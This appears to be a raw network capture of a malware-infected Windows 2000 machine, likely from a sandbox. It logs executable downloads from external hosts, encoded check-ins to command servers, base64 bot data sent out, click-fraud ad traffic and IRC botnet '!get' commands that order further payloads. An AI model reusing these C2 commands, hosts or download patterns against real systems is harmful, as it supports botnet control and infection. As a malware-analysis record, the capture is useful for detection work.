VICTIM: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=bigbuy HTTP/1.1Host: in1.7cy.netUser-Agent: ClickAdsByIE 0.7.4Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/in1.7cy.net/p6.aspContent-Type: application/x-www-form-urlencodedConnection: Close ATTACKER: GET /tm/1.exe?t=0.7134058 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: slzzcom.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=78669D7935A5C112D5CC654A7E3B46A96BF07249250627ED80B54634B41F9BBD067B58B0D495732E1179BAD0646AE7FF8E42F912C8B995B631514532842EC7ADAFE0D27609DFF56A2E147D07CE208A55F90EB38EA3DDEBED79DB8FE242A8B6CF60314253280847E8289BB83FA3A3811BBC4B78572B6CCBEC752CCDA2F54358E647432384C6E8AC693D04B3E005C05CDF&t=0.3607447 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mskla.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=CDD331D53BABEE3D120BDEF1074251BED14A2B10C0E3874D4A7FAAD8BE155A7CB3CE0DE5FFBE99C42B43442EC0CE6179EF23E60D4F3E9BB8D0B0D2A51BB1C6ACE5AA16B20DDBF7687D47106A1BF51EC157A0D2EF1A648A8C16B4CBA6D339B0C9EFBEA4B55A7A2887A51669FF9B62F870B742E9B736651527D7C35F2A8D2F27DD9F8F52F61A2A8D4980B1B9EF06C1A1DEFB1B&t=0.7980005 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mskla.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /tm/v15.exe?t=0.3375513 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: slzzcom.comConnection: Keep-AlivePragma: no-cache ATTACKER: PING :j. ATTACKER: PONG :j. VICTIM: JOIN &virtu ATTACKER: GET /sn.php?c=8F91BB5F3FAFCA6C53BEEFDE65224FBC1C87C8AE7F2D56C14978B8F283280D2322737E9788B13D0E167F55CE2A14213B46BD6BD530AE785D482C94336C17D9B52469403CE33247D8A399AAD02EC005DACA3D536E205EABADA103AFC2AA407A0338691E0FFBDBED42EC5F1D9AEBEB900AE710BE9199DE1532E6BF553A53E5A51B3F3B75D9B79974B4221A1B4A18DC981A&t=0.4959986 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mskla.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=A2BC85615ECE7DDB8D60C4F5DB9C8F7CFB60D0B6F7A5C1561021CC86903B89A73E6FF21B4F76FFCC0B6240DB87B9342E15EE6DD360FEC4E153372285344FAFC39DD0671B39E864FB6F555B21618F1FC0EA1D29147E0075731BB9375AAA402D5480D1A0B1E6C652FDC87BE57301F8860EDB2EDF81BBE899AB1A0EF98C2B895BA1E8F89B3E5E6BAE66695FE9BE4184DF5C8968&t=0.6515161 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mskla.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /?data=YmlkPS0yNjAzMzM1MjgmdmVyPTE1Jm9zPVdpbjJL HTTP/1.0User-Agent: MachBotHost: budulay.netPragma: no-cache ATTACKER: GET /?data=YmlkPS0yNjAzMzM1MjgmdmVyPTE1Jm9zPVdpbjJL HTTP/1.0User-Agent: MachBotHost: budulay.netPragma: no-cache ATTACKER: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=bigbuy HTTP/1.1Host: in.7cy.netUser-Agent: ClickAdsByIE 0.7.4Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/in.7cy.net/p6.aspContent-Type: application/x-www-form-urlencodedConnection: Close ATTACKER: GET /list.php?c=677F4B9CB7019C3022C5E2CADA9FB96876EF1E25BD99910DB381622A42EE4873F4CAA9B48FF8452B9AE324BE195CF0D2F90324D30178BAEB50243B90&v=2&t=0.3153955 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mskla.comConnection: Keep-AliveCache-Control: no-cache ATTACKER: NICK xdfvwexcUSER k020500 . . :_ VICTIM: Service Pack 2JOIN &virtu ATTACKER: :u. PRIVMSG xdfvwexc :!get http:/ad.ghura.pl/rus.php:u. PRIVMSG xdfvwexc :!get http:/ad.ghura.pl/rc.exe:u. PRIVMSG xdfvwexc :!get http:/slzzcom.com/ldt.txt ATTACKER: GET /rus.php HTTP/1.0User-Agent: DownloadHost: ad.ghura.plPragma: no-cache ATTACKER: GET /rc.exe HTTP/1.0User-Agent: DownloadHost: ad.ghura.plPragma: no-cache ATTACKER: GET /ldt.txt HTTP/1.0User-Agent: DownloadHost: slzzcom.comPragma: no-cache ATTACKER: GET /vbn/ckg3.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: slzzcom.comPragma: no-cache ATTACKER: GET /vbn/dgh4.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: slzzcom.comPragma: no-cache ATTACKER: GET /vbn/bnc2.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: slzzcom.comPragma: no-cache ATTACKER: GET /vbn/abc1.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: slzzcom.comPragma: no-cache ATTACKER: GET /hn.gif HTTP/1.0Accept: */*If-Modified-Since: Wed, 23 Jun 2010 19:54:05 GMTIf-None-Match: \1a801d6d13cb1:2a8\User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: cao.iwillhavebigdick.com:82Connection: Keep-Alive ATTACKER: GET /in.cgi?ka2 HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: streq.cnPragma: no-cacheCookie: SL_ka2_0000=_1_; TSUSER=ka2 ATTACKER: GET /reader.gif HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: fuck.iwillhavebigdick.com:81Connection: Keep-Alive ATTACKER: GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B2F69F5DCEECA825FF3F6CDDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5BA43764731D4A8&v=2&t=0.1950342 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe.perfectexe.com:250Connection: Keep-AlivePragma: no-cache ATTACKER: GET /hn.gif?t=0.2477686 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: cao.iwillhavebigdick.com:82Connection: Keep-AlivePragma: no-cache ATTACKER: GET /ck.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: fuck.iwillhavebigdick.com:81Connection: Keep-Alive ATTACKER: GET /sn.php?c=1F0157B3F363C7600BE5ECC06D14EC1F18848FE96926871ED8BED99D2E8093C8ECA5382182C289A5771092E3C1D1253ED3162B9030456C3983B3C8BC8E27EE9C69121462EC3F49D63903443EBF51EE312ED9F7CA344A282EFC5E600DC32959200554A6B707278728CF7C8B0CCDCD1882B6414C636A2DDAFDDE87C9A652E447F96C60E641E7D206B9F6C131678F48&t=0.4697687 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe.perfectexe.com:250Connection: Keep-AlivePragma: no-cache